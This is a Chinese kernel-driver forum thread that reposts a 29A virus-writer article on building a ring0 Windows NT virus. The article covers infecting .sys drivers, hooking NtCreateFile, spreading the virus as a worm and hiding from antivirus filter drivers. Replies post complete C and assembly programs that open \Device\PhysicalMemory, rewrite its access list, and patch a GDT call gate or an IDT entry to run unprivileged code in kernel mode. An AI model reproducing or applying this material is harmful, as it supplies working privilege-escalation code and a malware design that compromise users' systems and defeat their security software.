wowocock
VIP专家组
VIP专家组
  • 注册日期2002-04-08
  • 最后登录2016-01-09
  • 粉丝16
  • 关注2
  • 积分601分
  • 威望1651点
  • 贡献值1点
  • 好评度1227点
  • 原创分1分
  • 专家分0分
阅读:13284回复:16

.Ring0 under WinNT/2k/XP.

楼主#
更多 发布于:2004-08-19 12:02

                        .Ring0 under WinNT/2k/XP.
                             .by Ratter/29A.

.Intro.
Ring0 under NT? Does it also sound to you almost religious as to me?
NT based operating systems weren't written as a toy so gaining ring0
under these is much harder (if not impossible) than under Win9x/Me.
Yes there were exploits (like getadmin) that used bugs in the code
but that was the badly written code. The design does not have any
hole (i believe) that would let on well written system without bugs
run nonprivileged code under ring0. But that's it. Microsoft
unfortunately doesn't write code without bugs (what degrades the
architecture; i wish, Microsoft would succeed in this particular
task - to write at least one version of NT system without high
priority flaws - to shut the fuckin linux radicals mouth. yes, open
source is nice, M$ monopol is bad, but well i don't care - if there
would be comparable nice OS i would love it (ReactOS is coming :-))
but i don't like *nix, anyway i do like FreeBSD, but less than NT :-))

Do you hear too so much _often_ how Microsoft uses FUDs? Read
something from the other side about NT - so much hate and lack of
knowledge about the thing they're talking about is fascinating. I can
understand that by Microsoft as they want to earn money. But that
almost nazi radicalism on the linux side irritates me. Yet you can't
find almost anything like that on the *BSD side. This (apart of that
mess in linux sources) made me decide not to use Linux (for what i
don't have any reason neither) at least until this radicalism
dissapears.

What you should get from this almost political intro? If you don't
like Microsoft, use ReactOS (it will be comparable soon!!). If you
don't like NT architecture use *BSD, cause Linux sucks :-)


.Ring0 WinNT virus (Ideas).
So as i stated above, on well configured, well patched NT system, you
won't have a chance to even infect the system in ring3 much less to
get into ring0 (if you wont discover some new hole :-)). But we're
virus writers right, so we almost everytime count with user's
ignorance, laziness or whatever makes the box open so we will get in
anyway ;-)

Do you remember that WinNT.Adonai virus that appeared in 29A#5
claiming
  ; HA HA HA HA.... THE WORLD FIRST VIRUS ABLE TO JUMP INTO RING 0
  ; ON NT MACHINES (NT3.1, NT4 AND W2000)
? It imho speaks itself about it's nature just let me say, that
jumping into ring0 _ain't_ what we should want to achieve. Because as
i said some time before - it's not about getting into ring0, one must
know _what_ to do there. and, forgive me Henky, (if i omit that using
the callgate tech in a virus is _so_ convulsive and that you used the
routine that shipped with callgate.sys for beeping)beeping using direct
port I/O is very unhappily. If you wanted to beep a driver modifying
TSS I/O map would be a better solution - too using undocumented but
exported functions from ntoskrnl. So this is probably not the way to
go, we simply just don't want to beep on the files, we want to infect
them :-)

When i first started to think about native ring0 WinNT virus i made
a few points that could characterise it:

1) it should fully exploit the nature of the I/O subsystem - ie if
   file infector, possibly a filesystem filter driver
2) it should fully exploit the nature of other subsystems - ie install
   for example some NDIS backdoor, use TDI routines for using the
   internet etc
3) if it needs something in ring3 it should be something that can't
   be done in ring0 (i doubt anything like this exists, but for sure)
4) try to cover all versions of NT avalaible and handle all
   variations (iapx86) - ie PAE, /3GB option, 4 meg pages
5) because of the complexity of the above points, it should be written
   in C - anyway this is not mandatory, but i wont write it in asm
   :-)

as you'll see nearly none of the points i resolved to implement i
haven't fulfilled in my current try of a ring0 NT virus :-)


.How to get into ring0.
This is a fundamental question for a virus writer that wants to do
something there :-) There are ways to tamper with ring0 mem using
\device\physicalmemory which has been described in Phrack55 i think.
Better implementation of this technique was written by Matt Wu who's
code is used as a base for FakeExec (in z0mbie's hkit). This is nice,
but not so much for a file infector.

Ntoskrnl.exe can be modified to run our code, or some other system
component. But we want to write a native ring0 virus with no ring3
part. And i doubt someone will send ntorkrnl.exe over email :-) so
this would need some ring3 dropper.

Thatswhy i realised that infecting *.sys (WinNT drivers) files is the
solution we're looking for. Moreover all infection techniques we know
from ring3 can be used, because *.sys file is a normal PE file (just
with a nonmandatory checksum - but BumbleBee (where are you friend??)
presented a way how to code a checksum routine on our own)! And if
you think about it a little - what is the most exchanged commodity
apart of movies and music on the internet? Drivers i believe, because
everyone wants to get the best from his machine :-)

(imagine this: native ring0 iworm :-) uses a social engineering to
send a driver sys file that will speed up recipients machine by 100%
for sure with instructions how to install it using TDI and normal SMTP
client and native file routines to get email addresses and read it's
body from the file)

Microsoft signs drivers that pass their WHQL test. These drivers
won't show ugly message that the drivers aren't signed - this is when
installing them via legal *.inf way. Any other way wont show anything
:-) anyway users don't care about this - i don't care neither because
most of the non hardware drivers wouldnt pass it as they use
undocumented techs exactly as we'll use, so don't try to send your
driver virus to Microsoft, they wont sign it for you :-)


-=What to do in ring0=-
So we're in ring0 via infection of a driver file. What to do now? We
redirected the entrypoint to our code and we're called by the kernel
as a legal DriverEntry. Now the question comes how we we're
integrated with the victim driver. Personally i prefer a little asm
stub - a pe file loader - that will load our real driver to some non
paged allocated memory and execute from there. Why? Because merging
with the victim doesn't guarantee the distance from the victim -
imagine you have a 700kb driver and you merged with it. Now the
initialiation of the driver fails, but it has to remain in the
memory, because we want to infect :-) If we'll use an asm pe loader,
it will separate us forever from the victim and we can take care
about ourselves. What about the DriverObject param to the
DriverEntry? IoCreateDriver function exported by ntoskrnl will fix
that ...

.The Loader.
It should be an asm stub, that will load the pe file that it carries
(it can be compressed, but for easier handling the virtual aligning
should be the same as physical aligning in the pe file), relocates it
and imports all needed functions - for pe file loader source you can
have a look at the In-memory PE File execution by z0mbie in 29A#6
magazine. Now i will only concentrate on questions regarding the
ring0:

1) this time we wont be looking for the base of kernel32.dll but
   ntoskrnl.exe :-) how to get it? that's a question. in Che i use
   hardcoded addresses and that is bad - as you know from the history
   of the ring3 infection. Roy had an idea to get some interrupt
   handler from IDT. Good idea, but it has it's limitations -
   interrupts can be redirected. But what about the address of the
   caller on the DriverEntry? We _should_ be called by the kernel
   code that _should_ reside in ntoskrnl.exe. Well we should, unless
   we are infected by some other virus :-) Now normal looking for
   start of ntoskrnl comes, but, what a pitty, without SEH. this can
   be replaced by checking the page tables (don't forget to handle
   PAE and 4 meg pages) whether the page is present or redirecting
   the page fault/access fault handler.

2) we have a ntoskrnl base. did i mention it is a pe file? we can use
   exactly the same routines as in ring3 (protected by the above methods)
   :-) drivers in most times import from ntoskrnl/hal but sometimes
   also from other modules (like ndis or scsiport) so how to handle
   this? there exists a routine for getting fc address from ntoskrnl
   and hal. but we need something more general - SYSTEM_MODULE_INFORMATION
   class of ZwQuerySystemInformation will do it - it will give you
   all module names and bases loaded in the kernel address space.

3) we have the driver decompressed and loaded in allocated memory so
   nothing prevents us from calling the DriverEntry :-)

4) after our babe does what it needs (and it finishes with no error)
   simply jump to the victim's DriverEntry and all will go on ...

.The Driver.
Now the time to write a driver comes, but that's out of the scope of
this article - DDK, IFS kit, some good (filter) driver writing book
will help you. Go into it, it's beatiful and there are a lot of internet
resources covering this - i'll name sysinternals.com at least.

.The ideal virus.
Imagine a ring0 WinNT *.sys infector with stealth techs, using epo,
some metamorphic engine (go to mental driller, vecna and z0mbie for
this :-)) and this little feature:
as you probably know, the I/O system is layered - the IRP goes
through each layer on which it is maybe modified or whatever. Now
imagine we'll attach to the stack below the antivirus driver and
above it. when someone opens infected file, we'll disinfect it, pass
it down to the av driver which will pass it again to us and we'll
reinfect it. Or maybe we could simply create some kind of bridge
above this av driver - create irps pass down without av driver
intervention, other irps (mainly ioctl ones to let not ring3 portion
of the av product see the av driver is bridged) pass to the av
driver. These aren't possibly the only possibilities - try to find
out some as this will totally fuck up the whole av protection :-)

-=Win2k/Xp.Che=-
That was the theory :-) Now let's have a look at the piece of code
i've written for this issue. I'll cover only interesting points.

Che tries to be a resident on access *.sys file infector. This is a
first of its kind afaik so it has certain limitations and doesn't
fulfill none of the above mentioned points so please be patient, the
real native ring0 WinNT virus waits maybe on you, dear reader :-)

Che redirects the NtCreateFile native api via modifying the
KeServiceDescriptorTable. Under XP this table is read only so Che has
to make it read/write - for this exists at least 4 possible ways
afaik, in Che i use the Mdl way. Cr0 way can be used for example too
- you can have a look at it in TaiChi's bootvid.dll from previous
issue. Now when NtCreateFile is redirected, we can start to intercept
the open calls and infect the *.sys files.

btw - i check for one processor present. if i used Interlocked*
functions or lock prefix, i could omit this check. but since i don't
have access to MP machine, i can't test it so thatswhy i use it
although it _should_ work.

btw2 - the Che's hardcoded ntoskrnl addresses would not work with the
/3gb option obviously.

.Infection.
The problem is, that if your virus will infect some very low level
driver such as ntfs.sys it gets loaded before volumes are mounted
so you woldn't be able to infect anything. To wait for the system
being in normal condition i added a check for user mode thread on the
beginning of the hook. So Che infects files touched from ring3 only.

I also decided to move infection routine to ring3. This is mainly due
my laziness but also because i use SFP exception routine (described
in my other article) and checksum routine.

So the ring0 NtCreateFile hook only checks for ring3 thread opening
*.sys file, gets full name of the file, for the real infection
routine it finds imports from kernel32.dll using peb, allocates
memory in process address space, copies it there and calls it. This
routine will finally infect the file possibly exceptioning it from
SFP for a while and counting the checksum for it. This is also good
because SEH can be used.

But surely all code could be moved to ring0 - the real infection
routine could be rewritten in native api, the SFP could be disabled
using directory notification hooking and checksum is the easiest of
it. I'm sorry, probably next time :-)

.Ring3 synchronous procedure calling from ring0.
The interesting point i think is using of KeUserModeCallback to
synchronously call ring3 code. There is a way to call it
asynchronously using user mode APCs but that was not what i needed.
KeUserModeCallback is used by Win32k to call user mode gui routines.
There exists an index which is not checked in ntdll and can be easily
modified to point to our routine - look at the Che source.

.Closing.
That is all from this issue's ring0 from me :-) It's the middle of
the summer holidays and the weed parties are fully running so if
something is too much chaotic i'm sorry, but i tried to make it as
much consistent as i'm currently able to do. at last let me thank to
Wumpscut, Front242, Project PitchFork and Suicide Commando, because i
wouldn't be able to write this text without their support. If you
have any suggestions/ideas about this beatiful topic, don't hesitate
to let me know.

And now. It's summer so let's have some fun :-)

--
Ratter/29A - I'm a stranger in the world I haven't made.

最新喜欢:

wjhwdmwjhwdm root60931root60...
花开了,然后又会凋零,星星是璀璨的,可那光芒也会消失。在这样 一瞬间,人降生了,笑者,哭着,战斗,伤害,喜悦,悲伤憎恶,爱。一切都只是刹那间的邂逅,而最后都要归入死亡的永眠
RED_spring
驱动中牛
驱动中牛
  • 注册日期2002-07-28
  • 最后登录2016-11-06
  • 粉丝0
  • 关注0
  • 积分3分
  • 威望19点
  • 贡献值0点
  • 好评度17点
  • 原创分0分
  • 专家分0分
  • 社区居民
沙发#
发布于:2004-08-20 12:42
不错,收藏。 慢慢看  :)
RED_spring
驱动中牛
驱动中牛
  • 注册日期2002-07-28
  • 最后登录2016-11-06
  • 粉丝0
  • 关注0
  • 积分3分
  • 威望19点
  • 贡献值0点
  • 好评度17点
  • 原创分0分
  • 专家分0分
  • 社区居民
板凳#
发布于:2004-08-21 13:37
全是讲思路,细节讲的很少。 又没有代码。 看起来很吃力。。。 特别是PE Loader 部分,感觉实现起来难度太大了。
Sundsea
驱动老牛
驱动老牛
  • 注册日期2003-05-06
  • 最后登录2012-06-05
  • 粉丝0
  • 关注0
  • 积分2分
  • 威望35点
  • 贡献值0点
  • 好评度15点
  • 原创分0分
  • 专家分0分
地板#
发布于:2004-08-22 15:50
哪位能够全部翻译出来呀?
看起来太费劲了.
wowocock
VIP专家组
VIP专家组
  • 注册日期2002-04-08
  • 最后登录2016-01-09
  • 粉丝16
  • 关注2
  • 积分601分
  • 威望1651点
  • 贡献值1点
  • 好评度1227点
  • 原创分1分
  • 专家分0分
地下室#
发布于:2004-08-23 09:46
[quote]全是讲思路,细节讲的很少。 又没有代码。 看起来很吃力。。。 特别是PE Loader 部分,感觉实现起来难度太大了。 [/quote
]嘿嘿,代码可以参考29A里面的,很多好东西哦,嘿嘿......
花开了,然后又会凋零,星星是璀璨的,可那光芒也会消失。在这样 一瞬间,人降生了,笑者,哭着,战斗,伤害,喜悦,悲伤憎恶,爱。一切都只是刹那间的邂逅,而最后都要归入死亡的永眠
RED_spring
驱动中牛
驱动中牛
  • 注册日期2002-07-28
  • 最后登录2016-11-06
  • 粉丝0
  • 关注0
  • 积分3分
  • 威望19点
  • 贡献值0点
  • 好评度17点
  • 原创分0分
  • 专家分0分
  • 社区居民
5楼#
发布于:2004-08-23 18:10
[quote]全是讲思路,细节讲的很少。 又没有代码。 看起来很吃力。。。 特别是PE Loader 部分,感觉实现起来难度太大了。 [/quote
]嘿嘿,代码可以参考29A里面的,很多好东西哦,嘿嘿......


谢谢! :D
RED_spring
驱动中牛
驱动中牛
  • 注册日期2002-07-28
  • 最后登录2016-11-06
  • 粉丝0
  • 关注0
  • 积分3分
  • 威望19点
  • 贡献值0点
  • 好评度17点
  • 原创分0分
  • 专家分0分
  • 社区居民
6楼#
发布于:2004-08-23 18:25
能不能给个链接? 搜了半天,没一个上的去的。 :(
pandawwt
驱动牛犊
驱动牛犊
  • 注册日期2004-01-21
  • 最后登录2008-11-16
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望0点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
7楼#
发布于:2004-08-23 22:37
/*今天刚刚看到的
              win2000下不用驱动进入ring0
我没有测试过
*/
#define _X86_

#include <windows.h>
#include <stdio.h>
#include <aclapi.h>
#include <conio.h>
#include <windef.h>

typedef long NTSTATUS;
typedef unsigned short USHORT;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define OBJ_INHERIT 0x00000002L
#define OBJ_PERMANENT 0x00000010L
#define OBJ_EXCLUSIVE 0x00000020L
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define OBJ_OPENIF 0x00000080L
#define OBJ_OPENLINK 0x00000100L
#define OBJ_KERNEL_HANDLE 0x00000200L
#define OBJ_VALID_ATTRIBUTES 0x000003F2L

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;

#ifdef MIDL_PASS
  [size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * Buffer;
#else // MIDL_PASS
  PWSTR Buffer;
#endif // MIDL_PASS
} UNICODE_STRING;

typedef UNICODE_STRING *PUNICODE_STRING;
typedef const UNICODE_STRING *PCUNICODE_STRING;
#define UNICODE_NULL ((WCHAR)0) // winnt

typedef struct _OBJECT_ATTRIBUTES {
  ULONG Length;
  HANDLE RootDirectory;
  PUNICODE_STRING ObjectName;
  ULONG Attributes;
  PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR
  PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE
} OBJECT_ATTRIBUTES;

typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;

#define InitializeObjectAttributes( p, n, a, r, s ) { \
  (p)->Length = sizeof( OBJECT_ATTRIBUTES );    \
  (p)->RootDirectory = r;              \
  (p)->Attributes = a;               \
  (p)->ObjectName = n;               \
  (p)->SecurityDescriptor = s;           \
  (p)->SecurityQualityOfService = NULL;       \
  }

extern "C"
NTSYSAPI
VOID
NTAPI
RtlInitUnicodeString(
           PUNICODE_STRING DestinationString,
           PCWSTR SourceString
           );
extern "C"
NTSYSAPI
NTSTATUS
NTAPI
ZwOpenSection(
       OUT PHANDLE SectionHandle,
       IN ACCESS_MASK DesiredAccess,
       IN POBJECT_ATTRIBUTES ObjectAttributes
       );
extern "C"
NTSYSAPI
NTSTATUS
NTAPI
ZwClose(
    IN HANDLE Handle
    );

#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)
#pragma comment(lib,"C:\\NTDDK\\libfre\\i386\\ntdll.lib")


#define ENTERRING0 _asm pushad \
  _asm pushf \
  _asm cli

#define LEAVERING0 _asm popf \
  _asm popad \
  _asm retf

typedef struct gdtr {
  unsigned short Limit;
  unsigned short BaseLow;
  unsigned short BaseHigh;
} Gdtr_t, *PGdtr_t;

typedef struct {
  unsigned short offset_0_15;
  unsigned short selector;
  
  unsigned char param_count : 4;
  unsigned char some_bits : 4;
  
  unsigned char type : 4;
  unsigned char app_system : 1;
  unsigned char dpl : 2;
  unsigned char present : 1;
  
  unsigned short offset_16_31;
} CALLGATE_DESCRIPTOR;


void PrintWin32Error( DWORD ErrorCode )
{
  LPVOID lpMsgBuf;
  
  FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL, ErrorCode, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &lpMsgBuf, 0, NULL);
  printf("%s\n", lpMsgBuf );
  LocalFree( lpMsgBuf );
}

ULONG MiniMmGetPhysicalAddress(ULONG virtualaddress)
{
  if(virtualaddress<0x80000000||virtualaddress>=0xA0000000)
    return 0;
  return virtualaddress&0x1FFFF000;
}

VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{
  PACL pDacl=NULL;
  PACL pNewDacl=NULL;
  PSECURITY_DESCRIPTOR pSD=NULL;
  DWORD dwRes;
  EXPLICIT_ACCESS ea;
  
  if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION, NULL,NULL,&pDacl,NULL,&pSD) != ERROR_SUCCESS)
  {
    printf( "GetSecurityInfo Error %u\n", dwRes );
    goto CleanUp;
  }
  
  ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
  ea.grfAccessPermissions = SECTION_MAP_WRITE;
  ea.grfAccessMode = GRANT_ACCESS;
  ea.grfInheritance= NO_INHERITANCE;
  ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
  ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
  ea.Trustee.ptstrName = "CURRENT_USER";
  
  if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)
  {
    printf( "SetEntriesInAcl %u\n", dwRes );
    goto CleanUp;
  }
  
  if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)
  {
    printf("SetSecurityInfo %u\n",dwRes);
    goto CleanUp;
  }

CleanUp:
  
  if(pSD)
    LocalFree(pSD);
  if(pNewDacl)
    LocalFree(pSD);
}

BOOL ExecRing0Proc(ULONG Entry,ULONG seglen)
{
  Gdtr_t gdt;
  __asm sgdt gdt;
  
  ULONG mapAddr=MiniMmGetPhysicalAddress(gdt.BaseHigh<<16U|gdt.BaseLow);
  if(!mapAddr) return 0;
  
  HANDLE hSection=NULL;
  NTSTATUS status;
  OBJECT_ATTRIBUTES objectAttributes;
  UNICODE_STRING objName;
  CALLGATE_DESCRIPTOR *cg;
  
  status = STATUS_SUCCESS;
  RtlInitUnicodeString(&objName,L"\\Device\\PhysicalMemory");
  
  InitializeObjectAttributes(&objectAttributes, &objName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, (PSECURITY_DESCRIPTOR) NULL);
  
  status = ZwOpenSection(&hSection,SECTION_MAP_READ|SECTION_MAP_WRITE,&objectAttributes);
  
  if(status == STATUS_ACCESS_DENIED){
    status = ZwOpenSection(&hSection,READ_CONTROL|WRITE_DAC,&objectAttributes);
    SetPhyscialMemorySectionCanBeWrited(hSection);
    ZwClose(hSection);
    status = ZwOpenSection(&hSection,SECTION_MAP_WRITE|SECTION_MAP_WRITE,&objectAttributes);
  }
  
  if(status != STATUS_SUCCESS)
  {
    printf("Error Open PhysicalMemory Section Object,Status:%08X\n",status);
    return 0;
  }
  
  PVOID BaseAddress;
  BaseAddress=MapViewOfFile(hSection,
    FILE_MAP_READ|FILE_MAP_WRITE,
    0,
    mapAddr, //low part
    (gdt.Limit+1));
  if(!BaseAddress)
  {
    printf("Error MapViewOfFile:");
    PrintWin32Error(GetLastError());
    return 0;
  }
  
  BOOL setcg=FALSE;
  
  for(cg=(CALLGATE_DESCRIPTOR *)((ULONG)BaseAddress+(gdt.Limit&0xFFF8));(ULONG)cg>(ULONG)BaseAddress;cg--)
    if(cg->type == 0){
      cg->offset_0_15 = LOWORD(Entry);
      cg->selector = 8;
      cg->param_count = 0;
      cg->some_bits = 0;
      cg->type = 0xC; // 386 call gate
      cg->app_system = 0; // A system descriptor
      cg->dpl = 3; // Ring 3 code can call
      cg->present = 1;
      cg->offset_16_31 = HIWORD(Entry);
      
      setcg=TRUE;
      break;
    }
    
    if(!setcg){
      ZwClose(hSection);
      return 0;
    }
    
    short farcall[3];
    
    farcall[2]=((short)((ULONG)cg-(ULONG)BaseAddress))|3; //Ring 3 callgate;
    if(!VirtualLock((PVOID)Entry,seglen))
    {
      printf("Error VirtualLock:");
      PrintWin32Error(GetLastError());
      return 0;
    }
    
    SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_TIME_CRITICAL);
    Sleep(0);
    
    _asm call fword ptr [farcall]
      
    SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_NORMAL);
    
    VirtualUnlock((PVOID)Entry,seglen);
    
    //Clear callgate
    *(ULONG *)cg=0;
    *((ULONG *)cg+1)=0;
    ZwClose(hSection);
    return TRUE;
}

struct _RING0DATA
{
  DWORD mcr0,mcr2,mcr3;
  unsigned short BaseMemory;
  unsigned short ExtendedMemory;
}r0Data;

void __declspec (naked) Ring0Proc1()
{
  ENTERRING0;
  _asm {
    mov eax, cr0
    mov r0Data.mcr0, eax;
    mov eax, cr2
    mov r0Data.mcr2, eax;
    mov eax, cr3
      mov r0Data.mcr3, eax;
  }
  LEAVERING0;
}

void __declspec (naked) Ring0Proc2()
{
  ENTERRING0;
  _outp( 0x70, 0x15 );
  
  _asm
  {
    mov ax,0
    in al,71h
    mov r0Data.BaseMemory,ax
  }
  
  _outp( 0x70, 0x16 );
  r0Data.BaseMemory += _inp(0x71) << 8;
  _outp( 0x70, 0x17 );
  r0Data.ExtendedMemory = _inp( 0x71 );
  _outp( 0x70, 0x18 );
  r0Data.ExtendedMemory += _inp(0x71) << 8;
  LEAVERING0;
}

void main(void)
{
  ZeroMemory(&r0Data,sizeof(struct _RING0DATA));
  VirtualLock((PVOID)&r0Data,sizeof(struct _RING0DATA));
  ExecRing0Proc((ULONG)Ring0Proc1,0x100);
  ExecRing0Proc((ULONG)Ring0Proc2,0x100);
  VirtualUnlock((PVOID)&r0Data,sizeof(struct _RING0DATA));
  
  printf("CR0 = %x\n", r0Data.mcr0);
  printf("CR2 = %x\n", r0Data.mcr2);
  printf("CR3 = %x\n", r0Data.mcr3);
  printf("Base memory = %dK\n", r0Data.BaseMemory);
  printf("Extended memory = %dK\n", r0Data.ExtendedMemory);
}


wowocock
VIP专家组
VIP专家组
  • 注册日期2002-04-08
  • 最后登录2016-01-09
  • 粉丝16
  • 关注2
  • 积分601分
  • 威望1651点
  • 贡献值1点
  • 好评度1227点
  • 原创分1分
  • 专家分0分
8楼#
发布于:2004-08-23 23:18
呵呵,太早的东西了,我曾经把他改成汇编代码,基本没问题的。这个是最大众化的方法了。
花开了,然后又会凋零,星星是璀璨的,可那光芒也会消失。在这样 一瞬间,人降生了,笑者,哭着,战斗,伤害,喜悦,悲伤憎恶,爱。一切都只是刹那间的邂逅,而最后都要归入死亡的永眠
rock1001
驱动牛犊
驱动牛犊
  • 注册日期2002-11-12
  • 最后登录2016-01-09
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望0点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
9楼#
发布于:2004-10-01 17:35
在http://29a.host.sk/29A-7.html上找到一段代码nt ring0 不知道是不是,贴出来
.386p
.model  flat

extern  GetModuleHandleA:proc
extern  GetProcAddress:proc
extern  LoadLibraryA:proc
extern  FreeLibrary:proc
extern  CloseHandle:proc
extern  MapViewOfFile:proc
extern  UnmapViewOfFile:proc
extern  WriteFile:proc
extern  ExitProcess:proc

OBJ_CASE_INSENSITIVE            equ     40h
SECTION_MAP_WRITE               equ     2
SECTION_MAP_READ                equ     4
MEM_PRIVATE                     equ     20000h
MEM_MAPPED                      equ     40000h
DACL_SECURITY_INFORMATION       equ     4
SE_KERNEL_OBJECT                equ     6
GRANT_ACCESS                    equ     1
NO_MULTIPLE_TRUSTEE             equ     0
TRUSTEE_IS_NAME                 equ     1
TRUSTEE_IS_USER                 equ     1
INTNUMBER                       equ     0ffh

.data
ntdll                   db      "ntdll", 0
NtOpenSection           db      "NtOpenSection", 0
SetSecurityInfo         db      "SetSecurityInfo", 0
SetEntriesInAclA        db      "SetEntriesInAclA", 0
GetSecurityInfo         db      "GetSecurityInfo", 0
advapi32                db      "advapi32", 0
object_name             dw      offset object_buffer_e1 - offset object_buffer, offset object_buffer_e2 - offset object_buffer
                        dd      offset object_buffer
object_buffer           dw      '\', 'd', 'e', 'v', 'i', 'c', 'e', '\', 'p', 'h', 'y', 's', 'i', 'c', 'a', 'l', 'm', 'e', 'm', 'o', 'r', 'y'
object_buffer_e1        dw      0
object_buffer_e2        equ     $
align 4 ;required for object_attributes
object_attributes       dd      offset object_attributes_e - offset object_attributes, 0, offset object_name, OBJ_CASE_INSENSITIVE, 0, 0
object_attributes_e     equ     $
explicit_access         dd      SECTION_MAP_WRITE, GRANT_ACCESS, 0, 0, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_NAME, TRUSTEE_IS_USER, offset current_user
current_user            db      "CURRENT_USER", 0
instaddr                db      0ah dup (?)

.code
code_begin      label   near
        push    offset ntdll
        call    GetModuleHandleA
        test    eax, eax
        je      exit_code
        push    offset NtOpenSection
        push    eax
        call    GetProcAddress
        xchg    esi, eax
        push    eax
        mov     ebx, esp
        mov     edi, offset object_attributes
        push    edi
        push    SECTION_MAP_READ or SECTION_MAP_WRITE
        push    ebx
        call    esi
        test    eax, eax
        jns     hook_interrupt
        push    edi
        push    MEM_MAPPED or MEM_PRIVATE
        push    ebx
        call    esi
        push    eax
        mov     ebp, esp
        xor     eax, eax
        push    eax
        push    eax
        mov     ecx, esp
        push    eax
        mov     edx, esp
        push    eax
        push    DACL_SECURITY_INFORMATION
        push    SE_KERNEL_OBJECT
        push    dword ptr [ebx]
        push    offset SetSecurityInfo
        push    ecx
        push    edx
        push    offset explicit_access
        push    1
        push    offset SetEntriesInAclA
        push    ebp
        push    eax
        push    edx
        push    eax
        push    eax
        push    DACL_SECURITY_INFORMATION
        push    SE_KERNEL_OBJECT
        push    dword ptr [ebx]
        push    offset GetSecurityInfo
        push    offset advapi32
        call    LoadLibraryA
        push    eax
        xchg    ebp, eax
        call    GetProcAddress
        call    eax
        push    ebp
        call    GetProcAddress
        call    eax
        push    ebp
        call    GetProcAddress
        call    eax
        pop     eax
        push    ebp
        call    FreeLibrary
        push    dword ptr [ebx]
        call    CloseHandle
        push    edi
        push    SECTION_MAP_READ or SECTION_MAP_WRITE
        push    ebx
        call    esi
        test    eax, eax
        js      exit_code

hook_interrupt  label   near
        push    eax
        sidt    fword ptr [esp - 2]
        pop     esi
        btr     esi, 1fh
        push    1
        push    esi
        push    0
        push    SECTION_MAP_WRITE
        push    dword ptr [ebx]
        call    MapViewOfFile
        push    eax
        and     esi, 0fffh
        lea     esi, dword ptr [eax + esi + INTNUMBER * 8]
        fild    qword ptr [esi]
        call    skip_ring0

        ;begin ring 0

        mov     ebp, cr0
        iretd

        ;end ring 0

skip_ring0      label   near
        pop     word ptr [esi]
        mov     byte ptr [esi + 2], 8
        mov     byte ptr [esi + 5], 0eeh
        pop     word ptr [esi + 6]
        int     INTNUMBER
        fistp   qword ptr [esi]
        call    UnmapViewOfFile
        call    CloseHandle
        push    0
        push    esp
        push    size instaddr
        mov     edi, offset instaddr
        push    edi
        push    -11                             ;STD_OUTPUT_HANDLE
        call    hex2asc                         ;convert offset to ASCII
        mov     ax, 0a0dh
        stos    word ptr [edi]
        call    WriteFile                       ;print to screen

exit_code       label   near
        push    0
        call    ExitProcess

hex2asc         proc    near
        call    dd2asc

dd2asc          proc    near
        call    dw2asc

dw2asc          proc    near
        shld    eax, ebp, 8
        shl     ebp, 8
        aam     10h
        call    db2asc

db2asc          proc    near
        xchg    ah, al
        cmp     al, 0ah
        sbb     al, 69h
        das
        stos    byte ptr [edi]
        ret
db2asc          endp
dw2asc          endp
dd2asc          endp
hex2asc         endp
end             code_begin

linhf
驱动牛犊
驱动牛犊
  • 注册日期2003-03-25
  • 最后登录2006-06-28
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望0点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
10楼#
发布于:2004-12-14 21:25
试试这个,完全可以
附件名称/大小 下载次数 最后更新
2004-12-14_enter0.asm (18KB)  46
bmyyyud
驱动老牛
驱动老牛
  • 注册日期2002-02-22
  • 最后登录2010-01-21
  • 粉丝0
  • 关注0
  • 积分1000分
  • 威望130点
  • 贡献值0点
  • 好评度106点
  • 原创分0分
  • 专家分0分
11楼#
发布于:2005-01-07 11:09
这个帖子不错
滚滚长江东逝水 浪花淘尽英雄 是非成败转头空 青山依旧在 几度夕阳红 白发渔樵江渚上 惯看秋月春风 一壶浊酒喜相逢 古今多少事 尽付笑谈中
paladinii
驱动中牛
驱动中牛
  • 注册日期2003-10-28
  • 最后登录2012-03-09
  • 粉丝0
  • 关注0
  • 积分282分
  • 威望74点
  • 贡献值0点
  • 好评度23点
  • 原创分0分
  • 专家分0分
12楼#
发布于:2005-02-01 12:37
Ideas for life!
flowingboy
驱动牛犊
驱动牛犊
  • 注册日期2004-05-08
  • 最后登录2005-08-09
  • 粉丝0
  • 关注0
  • 积分6分
  • 威望2点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
13楼#
发布于:2005-03-08 10:00
顶!
babybattle
驱动牛犊
驱动牛犊
  • 注册日期2004-07-12
  • 最后登录2005-10-17
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望0点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
14楼#
发布于:2005-03-08 17:01
真好贴!顶WOWO鸡一下 :D!
总于找到家了。。。。
moonYut
